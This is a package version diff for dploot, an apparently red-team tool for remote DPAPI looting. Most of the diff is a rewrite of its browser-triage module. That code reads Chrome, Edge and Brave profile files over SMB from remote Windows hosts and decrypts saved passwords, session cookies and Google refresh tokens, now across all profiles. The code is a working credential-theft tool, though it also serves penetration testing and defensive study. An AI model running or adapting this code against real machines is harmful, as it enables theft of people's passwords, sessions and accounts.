dploot 3.0.0__tar.gz → 3.0.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (44) hide show
  1. {dploot-3.0.0 → dploot-3.0.2}/PKG-INFO +6 -7
  2. {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/smb.py +1 -1
  3. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/browser.py +124 -122
  4. {dploot-3.0.0 → dploot-3.0.2}/pyproject.toml +4 -4
  5. {dploot-3.0.0 → dploot-3.0.2}/LICENSE +0 -0
  6. {dploot-3.0.0 → dploot-3.0.2}/README.md +0 -0
  7. {dploot-3.0.0 → dploot-3.0.2}/dploot/__init__.py +0 -0
  8. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/__init__.py +0 -0
  9. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/backupkey.py +0 -0
  10. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/blob.py +0 -0
  11. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/browser.py +0 -0
  12. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/certificates.py +0 -0
  13. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/credentials.py +0 -0
  14. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinecertificates.py +0 -0
  15. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinecredentials.py +0 -0
  16. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinemasterkeys.py +0 -0
  17. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinetriage.py +0 -0
  18. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/machinevaults.py +0 -0
  19. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/masterkeys.py +0 -0
  20. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/mobaxterm.py +0 -0
  21. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/rdg.py +0 -0
  22. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/sccm.py +0 -0
  23. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/triage.py +0 -0
  24. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/vaults.py +0 -0
  25. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/wam.py +0 -0
  26. {dploot-3.0.0 → dploot-3.0.2}/dploot/action/wifi.py +0 -0
  27. {dploot-3.0.0 → dploot-3.0.2}/dploot/entry.py +0 -0
  28. {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/__init__.py +0 -0
  29. {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/crypto.py +0 -0
  30. {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/dpapi.py +0 -0
  31. {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/target.py +0 -0
  32. {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/utils.py +0 -0
  33. {dploot-3.0.0 → dploot-3.0.2}/dploot/lib/wmi.py +0 -0
  34. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/__init__.py +0 -0
  35. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/backupkey.py +0 -0
  36. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/certificates.py +0 -0
  37. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/credentials.py +0 -0
  38. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/masterkeys.py +0 -0
  39. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/mobaxterm.py +0 -0
  40. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/rdg.py +0 -0
  41. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/sccm.py +0 -0
  42. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/vaults.py +0 -0
  43. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/wam.py +0 -0
  44. {dploot-3.0.0 → dploot-3.0.2}/dploot/triage/wifi.py +0 -0
@@ -1,25 +1,24 @@
1
1
  Metadata-Version: 2.1
2
2
  Name: dploot
3
- Version: 3.0.0
3
+ Version: 3.0.2
4
4
  Summary: DPAPI looting remotely in Python
5
5
  Home-page: https://github.com/zblurx/dploot
6
6
  License: MIT
7
7
  Keywords: DPAPI,credentials,Windows
8
8
  Author: zblurx
9
9
  Author-email: seigneuret.thomas@protonmail.com
10
- Requires-Python: >=3.7,<4.0
10
+ Requires-Python: >=3.10.0,<4.0.0
11
11
  Classifier: Environment :: Console
12
12
  Classifier: License :: OSI Approved :: MIT License
13
13
  Classifier: Programming Language :: Python :: 3
14
- Classifier: Programming Language :: Python :: 3.7
15
- Classifier: Programming Language :: Python :: 3.8
16
- Classifier: Programming Language :: Python :: 3.9
17
14
  Classifier: Programming Language :: Python :: 3.10
18
15
  Classifier: Programming Language :: Python :: 3.11
16
+ Classifier: Programming Language :: Python :: 3.12
17
+ Classifier: Programming Language :: Python :: 3.13
19
18
  Classifier: Topic :: Security
20
19
  Requires-Dist: cryptography (>=40.0.1)
21
- Requires-Dist: impacket (>=0.10.0)
22
- Requires-Dist: lxml (==4.9.3)
20
+ Requires-Dist: impacket (>=0.12.0,<0.13.0)
21
+ Requires-Dist: lxml (>=5.0)
23
22
  Requires-Dist: pyasn1 (>=0.4.8,<0.5.0)
24
23
  Project-URL: Repository, https://github.com/zblurx/dploot
25
24
  Description-Content-Type: text/markdown
@@ -334,7 +334,7 @@ class DPLootRemoteSMBConnection(DPLootSMBConnection):
334
334
  return data
335
335
 
336
336
  def perform_taskkill(self, process_name):
337
- with tsts.LegacyAPI(self.smb_session, self.target.address) as legacy:
337
+ with tsts.LegacyAPI(self.smb_session, self.target.address, self.target.do_kerberos) as legacy:
338
338
  handle = legacy.hRpcWinStationOpenServer()
339
339
  r = legacy.hRpcWinStationGetAllProcesses(handle)
340
340
  if not len(r):
@@ -94,29 +94,29 @@ class BrowserTriage:
94
94
  ]
95
95
  user_google_chrome_generic_login_path = {
96
96
  "aesStateKeyPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
97
- "loginDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
98
- "webDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data",
97
+ "loginDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Login Data",
98
+ "webDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Web Data",
99
99
  "cookiesDataPath": [
100
- "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies",
101
- "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies",
100
+ "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Cookies",
101
+ "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Network\\Cookies",
102
102
  ],
103
103
  }
104
104
  user_msedge_generic_login_path = {
105
105
  "aesStateKeyPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State",
106
- "loginDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data",
107
- "webDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Web Data",
106
+ "loginDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Login Data",
107
+ "webDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Web Data",
108
108
  "cookiesDataPath": [
109
- "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies",
110
- "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies",
109
+ "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Cookies",
110
+ "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Network\\Cookies",
111
111
  ],
112
112
  }
113
113
  user_brave_generic_login_path = {
114
114
  "aesStateKeyPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State",
115
- "loginDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data",
116
- "webDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Web Data",
115
+ "loginDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Login Data",
116
+ "webDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Web Data",
117
117
  "cookiesDataPath": [
118
- "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies",
119
- "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies",
118
+ "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Cookies",
119
+ "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Network\\Cookies",
120
120
  ],
121
121
  }
122
122
  user_generic_chrome_paths = {
@@ -186,6 +186,7 @@ class BrowserTriage:
186
186
  ) -> Tuple[List[LoginData], List[Cookie]]:
187
187
  credentials = []
188
188
  cookies = []
189
+ profiles = ["Default"]
189
190
  for browser, paths in self.user_generic_chrome_paths.items():
190
191
  aeskey = None
191
192
  aesStateKey_bytes = self.conn.readFile(
@@ -199,6 +200,7 @@ class BrowserTriage:
199
200
  f"Found {browser.upper()} AppData files for user {user}"
200
201
  )
201
202
  aesStateKey_json = json.loads(aesStateKey_bytes)
203
+ profiles = aesStateKey_json['profile']['profiles_order']
202
204
  blob = base64.b64decode(aesStateKey_json["os_crypt"]["encrypted_key"])
203
205
  if blob[:5] == b"DPAPI":
204
206
  dpapi_blob = blob[5:]
@@ -209,120 +211,120 @@ class BrowserTriage:
209
211
  aeskey = decrypt_blob(
210
212
  blob_bytes=dpapi_blob, masterkey=masterkey
211
213
  )
212
-
213
- loginData_bytes = self.conn.readFile(
214
- shareName=self.share,
215
- path=paths["loginDataPath"] % user,
216
- bypass_shared_violation=bypass_shared_violation,
217
- looted_files=self.looted_files
218
- )
219
- if (
220
- aeskey is not None
221
- and loginData_bytes is not None
222
- and len(loginData_bytes) > 0
223
- ):
224
- fh = tempfile.NamedTemporaryFile()
225
- fh.write(loginData_bytes)
226
- fh.seek(0)
227
- db = sqlite3.connect(fh.name)
228
- cursor = db.cursor()
229
- query = cursor.execute(
230
- "SELECT action_url, username_value, password_value FROM logins"
214
+ for profile in profiles:
215
+ loginData_bytes = self.conn.readFile(
216
+ shareName=self.share,
217
+ path=paths["loginDataPath"] % (user,profile),
218
+ bypass_shared_violation=bypass_shared_violation,
219
+ looted_files=self.looted_files
231
220
  )
232
- lines = query.fetchall()
233
- if len(lines) > 0:
234
- for url, username, encrypted_password in lines:
235
- password = decrypt_chrome_password(encrypted_password, aeskey)
236
- login_data_decrypted = LoginData(
237
- winuser=user,
238
- browser=browser,
239
- url=url,
240
- username=username,
241
- password=password,
242
- )
243
- credentials.append(login_data_decrypted)
244
- if self.per_secret_callback is not None:
245
- self.per_secret_callback(login_data_decrypted)
246
- fh.close()
247
- if gather_cookies:
248
- for cookiepath in paths["cookiesDataPath"]:
249
- cookiesData_bytes = self.conn.readFile(
250
- shareName=self.share,
251
- path=cookiepath % user,
252
- bypass_shared_violation=bypass_shared_violation,
253
- looted_files=self.looted_files
221
+ if (
222
+ aeskey is not None
223
+ and loginData_bytes is not None
224
+ and len(loginData_bytes) > 0
225
+ ):
226
+ fh = tempfile.NamedTemporaryFile()
227
+ fh.write(loginData_bytes)
228
+ fh.seek(0)
229
+ db = sqlite3.connect(fh.name)
230
+ cursor = db.cursor()
231
+ query = cursor.execute(
232
+ "SELECT action_url, username_value, password_value FROM logins"
254
233
  )
255
- if (
256
- aeskey is not None
257
- and cookiesData_bytes is not None
258
- and len(cookiesData_bytes) > 0
259
- ):
260
- fh = tempfile.NamedTemporaryFile()
261
- fh.write(cookiesData_bytes)
262
- fh.seek(0)
263
- db = sqlite3.connect(fh.name)
264
- cursor = db.cursor()
265
- query = cursor.execute(
266
- "SELECT creation_utc, host_key, name, path, expires_utc, last_access_utc, encrypted_value FROM cookies"
234
+ lines = query.fetchall()
235
+ if len(lines) > 0:
236
+ for url, username, encrypted_password in lines:
237
+ password = decrypt_chrome_password(encrypted_password, aeskey)
238
+ login_data_decrypted = LoginData(
239
+ winuser=user,
240
+ browser=browser,
241
+ url=url,
242
+ username=username,
243
+ password=password,
244
+ )
245
+ credentials.append(login_data_decrypted)
246
+ if self.per_secret_callback is not None:
247
+ self.per_secret_callback(login_data_decrypted)
248
+ fh.close()
249
+ if gather_cookies:
250
+ for cookiepath in paths["cookiesDataPath"]:
251
+ cookiesData_bytes = self.conn.readFile(
252
+ shareName=self.share,
253
+ path=cookiepath % (user,profile),
254
+ bypass_shared_violation=bypass_shared_violation,
255
+ looted_files=self.looted_files
267
256
  )
268
- lines = query.fetchall()
269
- if len(lines) > 0:
270
- for (
271
- creation_utc,
272
- host,
273
- name,
274
- path,
275
- expires_utc,
276
- last_access_utc,
277
- encrypted_cookie,
278
- ) in lines:
279
- decrypted_cookie_value = decrypt_chrome_password(
280
- encrypted_cookie, aeskey
281
- )
282
- cookie = Cookie(
283
- winuser=user,
284
- browser=browser,
285
- host=host,
286
- path=path,
287
- cookie_name=name,
288
- cookie_value=decrypted_cookie_value,
289
- creation_utc=creation_utc,
290
- expires_utc=expires_utc,
291
- last_access_utc=last_access_utc,
292
- )
293
- cookies.append(cookie)
294
- if self.per_secret_callback is not None:
295
- self.per_secret_callback(cookie)
296
- fh.close()
297
- webData_bytes = self.conn.readFile(
298
- shareName=self.share,
299
- path=paths["webDataPath"] % user,
300
- bypass_shared_violation=bypass_shared_violation,
301
- looted_files=self.looted_files
302
- )
303
- if (
304
- aeskey is not None
305
- and webData_bytes is not None
306
- and len(webData_bytes) > 0
307
- ):
308
- fh = tempfile.NamedTemporaryFile()
309
- fh.write(webData_bytes)
310
- fh.seek(0)
311
- db = sqlite3.connect(fh.name)
312
- cursor = db.cursor()
313
- query = cursor.execute(
314
- "SELECT service, encrypted_token FROM token_service"
257
+ if (
258
+ aeskey is not None
259
+ and cookiesData_bytes is not None
260
+ and len(cookiesData_bytes) > 0
261
+ ):
262
+ fh = tempfile.NamedTemporaryFile()
263
+ fh.write(cookiesData_bytes)
264
+ fh.seek(0)
265
+ db = sqlite3.connect(fh.name)
266
+ cursor = db.cursor()
267
+ query = cursor.execute(
268
+ "SELECT creation_utc, host_key, name, path, expires_utc, last_access_utc, encrypted_value FROM cookies"
269
+ )
270
+ lines = query.fetchall()
271
+ if len(lines) > 0:
272
+ for (
273
+ creation_utc,
274
+ host,
275
+ name,
276
+ path,
277
+ expires_utc,
278
+ last_access_utc,
279
+ encrypted_cookie,
280
+ ) in lines:
281
+ decrypted_cookie_value = decrypt_chrome_password(
282
+ encrypted_cookie, aeskey
283
+ )
284
+ cookie = Cookie(
285
+ winuser=user,
286
+ browser=browser,
287
+ host=host,
288
+ path=path,
289
+ cookie_name=name,
290
+ cookie_value=decrypted_cookie_value,
291
+ creation_utc=creation_utc,
292
+ expires_utc=expires_utc,
293
+ last_access_utc=last_access_utc,
294
+ )
295
+ cookies.append(cookie)
296
+ if self.per_secret_callback is not None:
297
+ self.per_secret_callback(cookie)
298
+ fh.close()
299
+ webData_bytes = self.conn.readFile(
300
+ shareName=self.share,
301
+ path=paths["webDataPath"] % (user,profile),
302
+ bypass_shared_violation=bypass_shared_violation,
303
+ looted_files=self.looted_files
315
304
  )
316
- lines = query.fetchall()
317
- if len(lines) > 0:
318
- for service, encrypted_grt in lines:
319
- token = decrypt_chrome_password(encrypted_grt, aeskey)
320
- google_refresh_token = GoogleRefreshToken(
321
- winuser=user, browser=browser, service=service, token=token
322
- )
323
- credentials.append(google_refresh_token)
324
- if self.per_secret_callback is not None:
325
- self.per_secret_callback(google_refresh_token)
305
+ if (
306
+ aeskey is not None
307
+ and webData_bytes is not None
308
+ and len(webData_bytes) > 0
309
+ ):
310
+ fh = tempfile.NamedTemporaryFile()
311
+ fh.write(webData_bytes)
312
+ fh.seek(0)
313
+ db = sqlite3.connect(fh.name)
314
+ cursor = db.cursor()
315
+ query = cursor.execute(
316
+ "SELECT service, encrypted_token FROM token_service"
317
+ )
318
+ lines = query.fetchall()
319
+ if len(lines) > 0:
320
+ for service, encrypted_grt in lines:
321
+ token = decrypt_chrome_password(encrypted_grt, aeskey)
322
+ google_refresh_token = GoogleRefreshToken(
323
+ winuser=user, browser=browser, service=service, token=token
324
+ )
325
+ credentials.append(google_refresh_token)
326
+ if self.per_secret_callback is not None:
327
+ self.per_secret_callback(google_refresh_token)
326
328
  return credentials, cookies
327
329
 
328
330
  @property
@@ -1,6 +1,6 @@
1
1
  [tool.poetry]
2
2
  name = "dploot"
3
- version = "3.0.0"
3
+ version = "3.0.2"
4
4
  description = "DPAPI looting remotely in Python"
5
5
  readme = "README.md"
6
6
  homepage = "https://github.com/zblurx/dploot"
@@ -25,11 +25,11 @@ packages = [
25
25
  dploot = "dploot.entry:main"
26
26
 
27
27
  [tool.poetry.dependencies]
28
- python = "^3.7"
29
- impacket = ">=0.10.0"
28
+ python = "^3.10.0"
29
+ impacket = "^0.12.0"
30
30
  cryptography = ">=40.0.1"
31
31
  pyasn1 = "^0.4.8"
32
- lxml = "4.9.3"
32
+ lxml = ">=5.0"
33
33
 
34
34
  [tool.poetry.group.dev.dependencies]
35
35
  ruff = "^0.5.3"
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes